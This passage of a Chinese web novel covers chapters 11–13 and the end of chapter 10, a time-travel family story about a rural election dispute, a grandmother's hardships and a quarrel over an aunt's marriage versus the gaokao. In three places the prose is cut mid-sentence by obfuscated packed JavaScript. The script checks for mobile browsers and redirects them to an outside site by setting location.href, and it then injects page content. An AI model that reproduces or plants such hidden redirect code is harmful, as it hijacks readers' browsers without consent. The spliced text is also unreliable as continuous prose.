RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867230|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释完全可以接受。他严厉地看向面如死灰的蒋大海:“蒋大海,说话要讲证据!你无凭无据,污蔑同志,破坏团结,影响极其恶劣!你的问题,我们会严肃处理!” 蒋大海彻底懵了,他指着老李,手指哆嗦:“你……你撒谎!你包庇他!那晚明明……”他想说“明明看到方文斌鬼鬼祟祟,手里死死地揣着东西”,可没有证人,没有物证,在老李斩钉截铁的证词和汹涌的民意面前,他的指控苍白无力。 “滚下去!”不知谁喊了一声。 “对!滚下去!别耽误选举!” “我们选方文斌!选能带我们活命的!” 震耳欲聋的呼喊声淹没了蒋大海的辩解。他像被抽掉了骨头,在众人鄙夷的目光和唾骂声中,灰溜溜地挤出了人群,背影仓惶狼狈,再无半分之前的嚣张气焰。 方文斌看着挺身而出的老李,看着群情激奋支持他的乡亲,眼眶发热,喉头哽咽。他挺直了腰板,望向村民们的目光,充满了感激。 王君捂着心口,长长地、无声地舒了一口气,后背的冷汗这才慢慢褪去。成秀英看着丈夫在众人簇拥下的身影,眼神复杂,但那股戾气,似乎又消散了一些。 何田抱着方夏荷的胳膊,小脸上满是激动和后怕:“妈……成了!姥爷没事了!” 方夏荷轻轻拍着女儿的手,望向远处蒋大海消失的方向,眼神却并未完全放松。 何田注意到方夏荷的神色:“妈,你咋了,不高兴吗?” 方夏荷喃喃道:“田田,那天你姥爷究竟拿了什么东西去换的药,但愿再也不会有人提起了。” “啥意思?老李不是说,就是点玉米和粮票吗,而且他还没收。” 方夏荷无声地笑了笑,声音低至微不可闻:“找他换药的难道只有咱们一家?他什么都不要,凭什么换给咱?就凭他心善?就凭成刚可怜?” 何田顿悟:“妈,你是说,老李其实收下了姥爷的东西。只是——” 方夏荷迅速做了个噤声的手势,眼神示意她看向正随人群移动的老李。老李似有所感,目光穿过攒动的人头,与方夏荷的视线在空中轻轻一碰。方夏荷立刻绽开一个无比淳朴、带着感激的笑。 “只是蒋大海太傻了,让老李出来对质有什么用?老李就是为了自保,也会保守这个秘密的。” 何田叹道:“人心真是复杂啊。不管哪一年,哪一月,都一样复杂。” “和平年代,多是看不见的硝烟。这是灾年,多的是看得见的你死我活。” 在那个雨夜深藏的“秘密”,如同一个幽灵,依旧潜伏在这个家庭最深的阴影里。 未来的路,是不是依然有看得见和看不见的荆棘? 一切都等待她们化险为夷。 “蒋大海把你掐疼了吗?”方夏荷蹲下来查看何田的脖子。 “不疼。他肯定想不到,眼前这个七岁的小孩,有着快三十岁的灵魂。”何田笑嘻嘻地说。 方夏荷噗嗤一乐:“那他也肯定想不到,眼前这个二十多岁的寡妇,其实已经五十多了。” “他都够叫你一声大姐了。” 方夏荷被逗笑了:“在我们面前,他还是嫩了点哈。” 11. 第 11 章 灾后的生活逐渐走上正轨。王君的房子修好了,小夏荷又被继续送到奶奶家寄养。 方文斌当上了大队干部,整日除了忙自家的事,更要忙着公家的事。方家二女儿还是个嗷嗷待哺的婴孩,成秀英忙得抽不开身,只好把小夏荷继续交给王君带。比起五个月就断了奶的方夏荷,二女儿方秋菱出生不久就赶上地震,两个孩子的襁褓时光都浸在动荡里。 这几个月以来,方夏荷化名“夏禾”和成秀英一家生活在一起,逐渐混了个熟络。眼看小夏荷回了奶奶家,她和何田也收拾铺盖,准备搬去和王君同住。 王君帮着打探了消息:“你男人......还没找见。” 方夏荷脸上一僵,不知该说什么。 王君拉着她的手:“不要紧。咱娘几个照样把日子过好。” 在方夏荷的记忆里,奶奶王君是有点厉害的。她没读过书,脑子却灵光。她的脾气不像成秀英那样暴,但村里没人敢轻易招惹她。即使五岁后回到父母身边,奶奶那间低矮却干净的土坯房,始终是方夏荷的避风港,是挨了打后唯一能哭着跑去的方向。 何田看着王君。这是个利落的中年妇女,身板瘦小,笑容爽朗。她正手脚麻利地搬凳子、抹桌子,招呼着左邻右舍进屋打麻将。 很快,屋里就围坐起四个中年女人。飒飒秋风透过糊着旧报纸的窗棂吹进来,带着点凉意,也吹散了屋里的闷气。女人们东拉西扯,闲话家常。 “妈,”何田把方夏荷拉到一旁,“我真没想到太奶奶是这样的。我连她的照片都没见过,想都想不出模样。她......看着好有劲儿。妈,我发现这个年代的人都有种气血充足、浑身是劲的感觉,随时都能抡起一锤子。” 方夏荷的目光追随着王君灵活码牌的手:“你太奶奶对我最好了。你姥姥每次打我,我都跑到这来告状。太奶奶知道了,就会去你姥姥家,跟他们说,不要打夏荷。再打夏荷我饶不了你们!”她顿了顿,声音轻下去,“她说话管用。” 何田只在方夏荷零星的讲述里听过太奶奶的事。 王君的父母生了五个女儿。后来举家准备迁往东北谋生,孩子太多带不走,就把王君和另一个女儿嫁在了正阳村,就地安家。 那年,王君十三岁,出了门。 王君和第一任丈夫是少年夫妻。两人年纪都轻,生下个孩子没留住,早早夭折。她丈夫体弱,哮喘缠身,没过几年,也病死了。 守寡几年后,王君近三十岁,嫁给了第二任丈夫。那家穷,娶不起媳妇,娶了她这个寡妇。第二任丈夫对她体贴入微,日子好似安稳下来。两人先是生了个女儿,得了天花没了。后来,生下了方文斌和方文静。把方文斌拉扯着长到十二三岁,第二任丈夫在打炕时,突然倒下,再没醒过来。后来猜想,许是心脏病。王君又一次成了寡妇。 方夏荷初三那年,王君突发脑出血,瘫在病床上几个月。出院后生活仍不能自理,半边身子像不是自己的。方夏荷卷起铺盖搬回这间小屋,每晚端屎端尿,擦身喂饭,细心照料。 后来方夏荷去镇里读卫校,最牵挂的就是奶奶,一半是思念,一半是放心不下。那时王君已能拄着拐杖,在院子里慢慢挪动。方夏荷每周回一次家,第一件事就是打盆热水,给奶奶仔细梳好头发,换上浆洗得干干净净的衣裳。 第一次领到工资,方夏荷给奶奶买了顶帽子,还有些零嘴吃食。吃的什么如今记不清了,但那顶帽子,方夏荷记得:毛线的,藕荷色,上面绣着淡雅的紫花。 王君活到了八十多岁。那时她已被接到镇上的女儿家住了些日子,过年要回儿子文斌家过。方夏荷和丈夫找了辆车,带着方文斌去镇上接她回村。 小汽车颠簸在乡村的坡道上。王君和方文斌坐在后排。几个人说着话,话比往常更多些。说着说着,王君的声音停了,脑袋一低,轻轻靠在了方文斌怀里。 大家叫她,没有回应。她的呼吸变得微弱。汽车急忙改道冲向镇医院,没抢救过来。 王君没有留下一句告别的话,就这样走了。 方夏荷后来总说,奶奶走得安详,没受太多罪,是福报。 “好好的在车上说着话呢,突然就静了。她最后是带着笑走的。” 王君乐呵呵地搓着麻将:“八条......杠上开花!” “君姐你脑子是真好使。记牌啊。” “这跟君姐打麻将可不能走神了啊,一不小心就给她点炮了。” 王君的笑声散在日暮的暖光里,和着麻将牌的清脆碰撞。这鲜活的声音,把方夏荷和何田从沉甸甸的回忆里拽了回来。 眼前的王君,清瘦却精神矍铄,手指灵活得码着牌,眼神机敏地扫过桌面。这身影,与方夏荷记忆中晚年那个慈祥但衰弱、行动迟缓的老人,在光影里重叠、分离、再重叠,搅得方夏荷心头百味杂陈。 何田轻轻碰了碰她的胳膊:“妈,又见到太奶奶,你......有没有什么特别想为她做,却没能做成的事?现在或许能补上。” 王君,似乎从来就是个“无欲无求”的人。 她拉扯孩子、操持家务、应对生活的重锤,从不见她开口索要过什么。 “如果能......”方夏荷望着王君在牌桌边微驼的背影,“如果能让她顿顿吃上白面馒头,隔三差五尝点肉腥;如果能给她扯几尺好布,做身新崭崭、厚实实的棉袄;如果能带她走出这村子,去看看县城,看看火车,看看不一样的天......该多好啊。” “如果能......”更深的渴望涌上来,“如果我能像现在这样,是个经历了世事、懂得人情冷暖的成年人,坐在她身边,听她讲讲过去的事,说说心里的苦,哪怕只是陪她静静地坐一会儿,让她知道,那些苦我都懂,她不是一个人扛着......该多好啊。” 这念头像一颗种子,落在心里,迅速生根发芽。 何田看着母亲眼中闪动的微光,明白了她的心意。她用力握了握方夏荷的手:“妈,我们试试。在这个年代,尽我们所能。” 牌局散了,邻居们说笑着离去。王君收拾着桌上的麻将牌,嘴里还念叨着刚才哪一手牌打得妙。方夏荷深吸一口气,走上前,接过她手里的牌盒:“大姨,我来收拾。你歇着去吧。” “哎,不用,顺手的事。”王君嘴上说着,手却没停。 方夏荷坚持接了过来,动作麻利地整理着。她看着王君坐到炕沿上,习惯性地揉了揉有些发僵的膝盖——那是早年劳累落下的老寒腿。 “大姨,”她声音放得很柔,带着点试探,“我看你这膝盖不大舒服?赶明儿我去公社,想法子弄点好点的膏药?” 王君摆摆手,脸上还是那副不以为意的笑模样:“嗨,老毛病了,多少年都这样,不碍事。费那钱干啥?省着点。” 她的拒绝如此自然,如此理所当然,仿佛承受这点疼痛是她的本分。方夏荷和何田对视一眼,都看到了彼此眼中的涩然。 “那......晚上想吃点啥?”方夏荷转换了话题,努力让语气轻松些,“我做。” “有啥吃啥呗。”王君笑道,“你们娘俩刚来,别忙活。我熬点玉米糊糊就成,省事。” 又是“省”。方夏荷没再说话,只是默默地把牌盒放好,转身走向灶台。 何田立刻跟了上去,小声说:“妈,震后重建的时候咱没少帮忙,攒下的那点糖票......” “嗯。”方夏荷应了一声,声音有些闷。她舀出金黄的玉米面,动作比平时更轻柔些。心里那“弥补”的念头,第一次撞上了王君那堵“无欲无求”的墙。 王君靠在门框边看着,忽然想起什么:“哎,夏禾,听说老李家老伴半夜咳嗽,你也给治好了啊?灌了几碗苦汤药?” 方夏荷一边搅动渐渐粘稠起来的糊糊,一边应着:“嗨,不是什么苦药,就弄了点甘草、枇杷叶熬水,润润肺,管点用。怎么啦大姨,你晚上也容易咳嗽?” 王君摇摇头:“我没事。那个,夏禾啊,”她顿了顿,像是斟酌着词句,“你会治哮喘吗?就是那种......喘不上气,喉咙里像拉风箱,憋得脸发青的病?” 方夏荷手里的勺子顿了一下。“哮喘?哮喘是气管太窄太敏感,受了刺激就痉挛,气进不去也出不来,人就憋得慌。”她用尽量通俗的话解释,“这种病,发作时用点平喘的药能缓解,但去不了根儿。得小心养着,别着凉,别闻烟尘,别累着,更不能生气。要是能弄到麻黄、甘草这些熬水喝,能稍微好受点......再过个几十年,这都不算啥大病了。”她差点说漏嘴。 王君的神色变得悠远,目光仿佛穿透了土墙:“哦......那,那天花呢?”她的声音低了些,“我们村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867231|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,早些年也有不少得了天花死了的,浑身烂脓包,高烧不退,救都救不回来......” 方夏荷的心揪紧了。“天花,”她声音放得很稳,带着医者的冷静,“那是瘟神,烈性传染病。染上了,九死一生。活下来的,也多半落一脸麻子。这病......没特效药,全靠命硬扛过去。唯一的法子,是种牛痘预防。牛痘种上了,胳膊上出个小脓包,好了就一辈子不得天花了。”她补充道,“现在政府都在推广种痘了,往后得这病的就少了。” “哦......”王君若有所思地点点头,沉默了片刻,灶膛里的火光在她脸上明明灭灭。她抬起眼,又问,声音更轻了,带着一种不易察觉的探寻:“那......夏禾啊,你知道心脏病怎么治吗?特别是那种......干着活呢,突然就倒下,再叫不醒的?” 方夏荷心里又是一酸。奶奶这是想起她的过去了。一生多少苦啊,失去的孩子,病死的丈夫......这些伤痛从未真正远去,被她深深埋在了“省事”、“不碍事”的表象之下。她看着奶奶在火光映照下格外深刻的皱纹,强忍着鼻间的酸意。 “心脏病......特别是心梗,”她尽量让自己的声音听起来平稳,“就是心脏里通血的管子堵死了,血过不去,心就停了。这种病,发作起来特别急,凶险得很。平时要是能注意,别太累,别生气,别吃太油太咸,或许能预防着点......要是能备点救心丸、硝酸甘油这样的药,发作时含在舌头底下,兴许能抢回一点时间。还有......还有像脑出血,” 她想起奶奶晚年的病,“就是脑子里的血管破了,血淹了脑子,人一下子就瘫了,不能动不能说话。这个更要命,也得靠平时注意血压,别太高了。”她说的这些药名和概念,对这个年代的农村来说,遥远得像天方夜谭。 王君静静地听着,浑浊的眼睛里映着跳跃的火苗。良久,她轻轻“哦”了一声,脸上没什么表情,只低声说:“那要是......早点认识你就好了啊。”这句话轻飘飘的,却像一块巨石砸在方夏荷心上。 方夏荷用力搅着锅里的糊糊,热气熏得眼睛更酸:“大姨。你要注意身体。不要太操劳了。什么都......不如身体重要。每年都要体检......都想法子去卫生所看看,有什么病能早点查出来,预防着。” 何田在桌子那边正摆碗筷,闻言赶紧过来拽了拽她的衣角,低声道:“妈,说啥呢!这个年代哪有‘体检’?” “什么预防不预防的。防不胜防。”王君平静的面孔依旧没什么波澜,她拿起抹布擦了擦手,“人这一辈子,命里有啥,早都写好了。” 方夏荷不再说话,只是更用力地搅动着锅里翻滚的金黄糊糊,看着粥面泛起细小的气泡,袅袅热气升腾起来,模糊了她的视线。她悄悄从口袋里摸出一个小纸包,里面是她和何田在震后帮忙重建时,省下来的一点点珍贵的红糖票换来的红糖。纸包被捂得温热。 她捻起一小撮深红的糖粒,手指在锅边顿了顿,看着那细小的晶体在指尖闪烁。 一点点甜,一点点暖,就从这一碗糊糊开始吧。她们有很长的时间,在这个重新来过的七十年代,用最笨拙也最真诚的方式,慢慢靠近那颗饱经沧桑却依然温热、坚韧的心。 奶奶,人这一辈子,命里有啥早就写好了。那么命里也写了一章,让我重新回来,对你好。 玉米糊糊入口多了丝丝入扣的甜。 王君小口地喝着,细细地品着,没说什么,只是喝得比平时慢了些。她今天的问题似乎格外地多,一个接一个,像是要把积压了半辈子的疑问都倒出来。 “夏禾,”她放下碗,看着方夏荷收拾灶台的身影,犹豫了一下,还是问出了口,“你别嫌大姨啰嗦啊,你说那农药......就是地里打虫子的药水,要是不小心喷脸上了,把脸上的皮肤给燎坏了,留一片红疤,皱皱巴巴的,还能治不?” 何田正喝着糊糊,睁大了眼睛:“咋了奶奶?谁的脸让农药给燎了?” 方夏荷手里的抹布“啪嗒”一声掉在灶台上。农药......文静姑姑脸上那片显眼的疤痕?这个时间点......她缓缓转过身,心沉了下去。 王君摇了摇头,深深叹了口气: “我那闺女,文静。前儿个去棉花地打药,风一吹......喷头歪了。” 12. 第 12 章 日子在王君家的小院里,像灶上温着的玉米糊糊,不紧不慢地冒着泡。 这天下午,院门吱呀一响,一个带着点沙哑却清亮的声音传了进来:“娘,我回来了!” 方夏荷和何田抬起头,看见一个年轻姑娘背着个半旧的包袱走进来。个子不高,身板有点单薄,动作却透着股利落劲儿。是王君的小闺女,方夏荷的亲姑姑——方文静回来了。 方文静放下包袱,先对着王君笑了:“娘,姨家都好,捎了点他们晒的干豆角。”她目光转向方夏荷和何田,带着点生疏的好奇和腼腆:“这就是夏禾姐和田田吧?” 方夏荷看着眼前的方文静,心头像被什么东西轻轻撞了一下。 记忆里那个模糊的姑姑,一下子变得无比清晰。那眉眼,依稀能看出王君的轮廓,尤其是那双眼睛,沉静底下藏着聪慧。只是她的脸......皮肤是常年风吹日晒留下的黝黑,左边颧骨附近,一片不规则的深红色印记格外刺眼,皮肤显得粗糙,边缘还爬着些细细的血丝。那是给棉花打药时,药水燎上去留下的疤。 “文静回来了。”王君招呼着,脸上是见到闺女才有的松快,“快歇歇,喝口水。” “哎,不累。”方文静应着,手脚麻利地就去灶台边倒水,那干练劲儿,跟王君一个模子刻出来的。 方夏荷的思绪飘远了。文静姑姑,是奶奶和第二任丈夫的闺女,比她爸方文斌小几岁。她爸提过,这个小姑姑,打小就灵,在村里念书那会儿,回回考试都拔尖。学校的老师没少跟王君说,可惜了这闺女,是个读书的料子。 可惜家里没了顶梁柱,她哥文斌那会儿也半大不小,王君一个人拖着俩孩子,供不起两张念书的嘴。方文静揣着那张还带着体温的小学毕业证,就那么默默地放下了书包,跟着她娘,一头扎进了黄土地里挣工分。 风吹,日头晒,泥里滚,水里趟。一双本该捏着笔杆子的手,早早地磨出了老茧,攥紧了锄把镰刀。那场意外更是雪上加霜,药水燎在脸上的疼,不光烧坏了皮,好像也把她心里那点属于姑娘家的念想,一并烧没了。 王君不是没为闺女的亲事操过心,可那年月,农村说媳妇,姑娘家的脸面是顶顶要紧的。方文静脸上那片刺眼的红,成了横在亲事前的一道大坎儿。提过几家,不是嫌难看,就是那家穷得叮当响,王君舍不得闺女再去跳火坑。一来二去,就耽搁了。 在方夏荷的记忆里,文静姑姑就像奶奶身后一个安静的影子。勤快,话少,闷头帮着家里。方夏荷小时候来奶奶家玩,只觉得这个姑姑和气,会偷偷塞块糖给她,会帮她梳小辫儿,却从没往深里想过,这个总是微微低着头、脸上带着疤的姑姑,心里头有没有憋着不甘?藏着遗憾? 她夜里摸着脸上那粗糙的地方,会不会想起曾经拔尖的成绩?她是不是也盼着,能有个人,不嫌弃她这张脸,真心实意地待她好?可方文静和王君太像了,娘俩把那些苦水儿、那些盼头,都死死地摁在心底最深的角落,生怕露出来一点,又给身边的人添了堵。 此刻,看着眼前这个才二十出头、眼神却磨钝了光彩的姑姑,方夏荷闷得难受。 五十年的风风雨雨滚过来,方夏荷明白一个明明聪明却不得不放下书本的姑娘心里有多空,明白一个女人因为一张脸要承受多少戳脊梁骨的目光和婚嫁上的刁难。如今有了何田,她更懂了,王君看着闺女遭罪,心里那份火烧火燎的焦灼和无力,该有多深。 一股滚烫的热气直往方夏荷脑门上冲。她看着方文静转身收拾干豆角时习惯性耷拉下去的肩膀,一个念头在她心里头猛地扎下了根: 她得帮文静。 帮这个灵透姑娘,重新把书本捡起来,哪怕多识几个字,多看看外面的天。 更要帮她,寻摸一个不拿脸说事儿、真心疼她敬她的好人家,让她能挺直了腰板,过上暖和有奔头的日子! 这股劲儿太冲,差点把方夏荷平日里裹着的谨慎给掀翻了。她用力吸了口气,把那翻江倒海的心思压下去,朝正在忙活的方文静走过去。 “文静,”方夏荷的声音放得又轻又软,带着点不易察觉的分量,“刚到家就忙活,快歇歇脚。晚上想吃点啥?我来拾掇。”她的目光掠过方文静脸上那片红,没躲闪,落在她脸上。 方文静抬起头,撞上“夏禾姐”的目光,愣了一下。 这眼神......有点深,里面好像藏着好多她看不透的东西,让她觉得陌生,又莫名地......有点踏实。她习惯性地扯了扯嘴角,露出个温顺的笑,还是那句老话: “夏禾姐,别麻烦,我不饿,有一口吃的就行。” 方夏荷看着那温顺笑容,心里的念头像浇了油的柴火,烧得更旺了。现在,有一口吃的就行了......再后来,有一个男人不嫌弃就嫁了...... 这次,她不会再让“有一口吃的就行”成了这辈子唯一的念想。她得在文静这闷葫芦一样的世界里,凿开一道缝,透点光进去,让她瞧瞧,这人活着,兴许还有别的路可走。 决心下了,方夏荷就琢磨着怎么动手。她知道,对着方文静和王君这娘俩,直愣愣地说“你去念书吧”、“我给你找个好人家”,准碰一鼻子灰。她们活得太硬了,硬得像石头,得用水滴石穿的劲儿,慢慢洇。 方夏荷琢磨着:“田田,你姑姥姥上学那会可灵透了,要放在你出生的那个年代,真不比你差,人家没准也是名牌大学生。” 何田来了精神:“妈,这眼瞅着就要恢复高考了,你不是说姑姥学习特别好,要不咱们就帮她考大学,让她成为正阳村第一个大学生!” 方夏荷:“高考......没谱吧。我倒是觉得她这岁数放农村都算大了,再不找对象,以后可就成老姑娘了。那全村人都得指指点点,她心里能好过吗?” 何田争辩:“她要是能通过高考考出这个村子,以后只会遇到更好的人,有更广阔的天地,好吧?” 方夏荷:“你想得太容易了吧。这年头的高考,哪是那么好考的?你姑姥姥又得下地干活,又得复习背书,再说了,她只上到小学,这高考要考的内容可不是那么简单的。趁这几年还年轻,找个靠谱男人嫁了,这辈子也好过点。别耽误了这几年青春,以后就更艰难了啊。上辈子她就是岁数拖大了,没有好人家了。” 何田心里冒出根刺,越想越生气:“妈,我就听不惯你这个思想。当时读研的时候我导师说我适合读博,你给我来一句,读完博都三十了不好找对象。咋了,咱们女的这辈子就图一个找对象吗?一切都得为找对象让路?” 方夏荷没觉得哪里不对:“你那个年代,超过三十就不好找了。现在是70年代,超过二十五就是老姑娘了啊。” “谁规定的?”何田语气渐冲:“谁规定的?” “你这个孩子,我跟你说不通!你早晚知道,我说的都是经验之谈,都是为你们好。” 何田:“管管你的控制欲,操心这个操心那个的,人家用你管吗?” 方夏荷火了:“你这孩子怎么这么自私呢?她是你亲人!我怎么生了你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867232|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样铁石心肠的人。” 何田不屑一顾:“人家都越活越宽,就你越活越窄。” 方夏荷懒得和何田吵架,她看着方文静薄薄的身影,脑子里翻腾着:文静姑姑后来年岁大了,嫁的那个男人吧,家里穷得叮当响,男人倒是个肯干的,后来当了海员,一年到头漂在海上,家里老人孩子、地里活计,全压在文静一个人肩上。 “不行!这辈子看能不能找个更好的亲事。”方夏荷心想。 这天,方夏荷挖野菜回来,脸上带着点兴奋的红晕,一进门就拉着正在灶台边默默添火的方文静:“文静!快,洗把脸,换身干净衣裳!我跟你说,后屯赵家那个老二,人我托你嫂子打听了,老实肯干,家里兄弟四个,就他还没说亲。他娘放出话了,不挑模样,只要姑娘勤快懂事就成。我看正合适!下午我带你......” 在方夏荷印象中,这个赵家老二后来发迹了,成了村里有头有脸的人物,早早搬到了镇子上,住洋房、开汽车。娶的媳妇确实模样一般,但俩人感情好得很,羡煞旁人。 “夏禾姐!”方文静声音不高,却像绷紧的弦,带着一种被冒犯的僵硬。她脸上那片红痕似乎更深了些,眼神里没有期待,只有难堪,“我不去。” “为啥不去?”方夏荷急了,嗓门不自觉地拔高,“那家条件多好!兄弟多,劳力足。过了门不用你像现在这样累死累活!人家不嫌你脸......咳,不挑模样!错过这村就没这店了!” “我说了,我不去!”方文静把手里的柴禾往灶膛里一扔,溅起几点火星,站起身就往西屋走,背影绷得直直的。 “哎你!我这是为你好!你难道想......”方夏荷又急又气,追着话头就想把上辈子文静的苦楚倒出来。 “妈!”一直旁观的何田终于忍不住了,冲过来把方夏荷拽到一旁,“你别逼人家了行不行啊!姑姥姥这么聪明,以前学习那么好,为什么不能让她继续上学?现在国家都说要恢复教育了!她可以参加高考,可以有自己的事业,干嘛非得指着嫁人改变命运?干嘛非等着被一茬又一茬的相亲对象挑三拣四?” 方夏荷被女儿这一连串的质问砸懵了,随即一股被顶撞的怒火“噌”地冒上来。她甩开何田的手,压着火低声道: “何田!你以为这是你那个年代。还高考?还事业?睁开眼看看!这是70年代的农村!女人不嫁人,唾沫星子都能淹死你!脊梁骨都能给你戳断了!她脸上......脸上这样,找个好人家容易吗?我费心巴力替她打算,倒成了我的不是了?婚姻怎么了?总比她一个人孤零零的强!你懂啥呀。” 何田眼圈瞬间红了,胸脯剧烈起伏:“我怎么不懂?你就是老思想!你以前不也这么催我?给我介绍那些乱七八糟的相亲,只想着把我嫁出去就完成任务了!也不知道谁给你派的任务。姑姥姥聪明,她值得更好的路!不是非得靠嫁人!”她的话,一半是替方文静呐喊,一半是宣泄自己曾经的憋闷。 方夏荷气得浑身发抖,指着何田,口不择言,“我催你?我那是为你好!怕你变成老姑娘!怕你被人笑话!” “谁笑话啊?这日子是过给别人的还是过给自己的?”何田的眼睛绽出冷冷的光,“你结婚了,然后呢,你开心吗?你很幸福吗?” “田田。不能这么说你妈。” 厨房里的火药味浓得呛人。王君原本坐在角落里默默纳着鞋底,眼睛在这母女俩压低的争吵中抬了起来。何田最后这句话她听得真切,这话说得像刀子,叫人心里真不是滋味。 13. 第 13 章 方文静还是去相亲了。但是始终不顺利。 那些婆家表面上说着找个勤快媳妇就行,可真等儿子和文静见了面,又用各种借口搪塞回绝。有的心直口快,直接告诉了方夏荷,还是想找个模样正常的。 可把方夏荷气得半死:“我们家文静模样哪不正常了?” 差点就扭打在一块。 瞅着文静蹲在院角,就着滤过两遍的井水,搓洗全家沾满泥灰的衣裳。她低着头,脖颈弯出一道沉默的弧线,左边颧骨上那片火烧云似的疤,在晌午的日头底下格外显眼。方夏荷心里头就像被钝刀子拉了一下。 自从文静开始默默地接受相亲之后,小院里常常静得吓人。方文静除了出来干活,就跟影子似的缩在西屋。王君也不招呼邻居打牌了。何田夹在中间,大气儿不敢出。方夏荷心里像堵了块大石头,又沉又闷。 这样下去可不行。 何田又忍不住朝方夏荷抱怨:“都是你干的好事。” 方夏荷彻底落了个里外不是人,心里的委屈那是一层叠一层,火山猛然爆发,憋不住数落何田不懂事,两个人一点即燃,唇枪舌战,非要把对方辩驳得无话可说才罢休。 整个小院,呈现出全面冷战,局部热战的态势。 何田最受不了这气氛,鼓起勇气,端着一碗熬得黏黏糊糊、飘着甜香的红枣小米粥,敲响了西屋的门。 她可不敢提相亲那茬儿,只说:“姨姨,我妈熬的粥,可稠了,你喝点暖暖。”说着,绽出天真又小心的笑容。 方文静心一软,接过了碗。 方夏荷心里不是滋味,又觉得自己费力不讨好,别扭了几日没急着去敲文静的门。 她看见王君走路一瘸一拐,眉头皱着,知道老寒腿又犯了。她模模糊糊记起,山上有种草根子,捣烂了敷上能顶一阵。她二话不说,拉起何田就往后山钻。娘俩顶着渐冷的北风,手脚冻得发木,脸被枯枝刮得生疼,在坡上沟里扒拉了小半天,才寻摸到一小把沾着泥的草根子。 天擦黑,方夏荷在院子里支起个小瓦罐,细细地熬着那苦涩的草药。一股子浓重的药味儿在小院里弥漫开。西屋的门开了条缝,方文静默默地走出来,看着她们冻得通红的鼻头和沾满泥巴枯叶的裤腿,眼神复杂地闪了闪。 她没说话,转身进了灶房,不一会儿端出一盆还冒着白气的热水,放到方夏荷脚边,声音低得几乎听不见:“夏禾姐,你泡泡,驱驱寒气。” 方夏荷抬起头。方文静的目光落在咕嘟冒泡的药罐子上,轻声问:“这......真顶用?” 方夏荷用力点头:“试试,总比干疼着强。” 方文静不再吭声,蹲下身,帮方夏荷把熬烂的草根渣滓捞出来,用块旧布仔细包好。两个人,一个亲闺女,一个“外姓人”,就那么并排蹲在王君跟前,把温热的药包,轻轻敷在了王君那又冷又痛的膝盖上。 王君低头看着腿边这两个脑袋,长长地、长长地叹了口气,那一直绷着的嘴角,松开了些。 她那双粗糙细瘦的手,先是抚上方夏荷的额头。 “夏禾啊,成家之后受委屈了吧。” “啊?”方夏荷错愕地抬起脸,下意识要否认,“没有啊。” “这女人成家不受委屈的少啊。我一看你就是个操心的命。有时候你操碎了心,别人未必领你的情,是不是?看田田是个乖巧的,也有气死人的时候。” 方夏荷垂下眼睛,鼻子一酸:“是啊。” “你啊,表面咋呼,好像什么都不怕,什么事都冲在前头,看着厉害,其实你这辈子再往后过,最对不起的是你自己。” 方夏荷听着奶奶的话,眼泪吧哒吧哒地往下掉。 她真想告诉奶奶,她曾经过得不幸福,多少次忍着离婚的念头,把日子熬下去,像小火煮着、炖着那样一点一点熬。她明明是为了孩子好,孩子却也不领情,反而怪她作茧自缚,给不了一个幸福的家。 她这一生有多少决定是为自己做的,又有多少天是为自己活的?围着灶台转,围着男人转,围着孩子转,就是没围着自己转过。 无声的啜泣很快变成了哽咽。方夏荷憋不住哭出声来,王君的手就那样一直抚摸在她的额头上,让她久违地感觉到自己被呵护着。 “文静啊。”王君又把话头转向自己屡屡碰壁的小闺女,“你夏禾姐受委屈了。像她这样能真心实意替你考虑的人一定要珍惜,要感恩。哪怕你不愿意听,也要分得清好人坏人。” “妈,我知道。”方文静心思深,是能把事看透的聪明人,“我知道夏禾姐说的话有道理。我气的不是夏禾姐,是这些道理。为什么咱们活着就有这么多条条框框。” “因为我们都太胆小了。”王君笑了笑。 她看向方文静,目光是前所未有的柔和:“文静,我活了半辈子,黄土埋到脖子根了。妈就告诉你一句话:人这一辈子,长着呢,也短得很。结不结婚,不打紧。什么时候结婚,更不打紧。要紧的是,你自己个儿,心里头得乐意,得舒坦。跟谁过,咋过,你自己掂量。觉得一个人清静,那就清清静静地过。觉得有个人知冷知热好,那就擦亮眼找个好的。别管外人嚼啥舌根,那都是耳旁风。委屈自己,不值当。” “妈。”方文静抿着嘴,脸上的红痕好似飞上黄昏的晚霞,她的眼睛好亮:“我不想活得这么胆小。我想大胆地活着,舒心地活着。” 王君点点头。 何田盘腿坐在炕上,摇晃着脑袋,目光却沉沉地落在方夏荷身上,她想着:“我也是。妈,真希望你也是。” 月亮爬上树梢,清冷冷的光洒在小院里,草药的苦味儿还没散尽,却驱走了连日的寒气。 日子在王君那番话后,像是掀入新的一页。 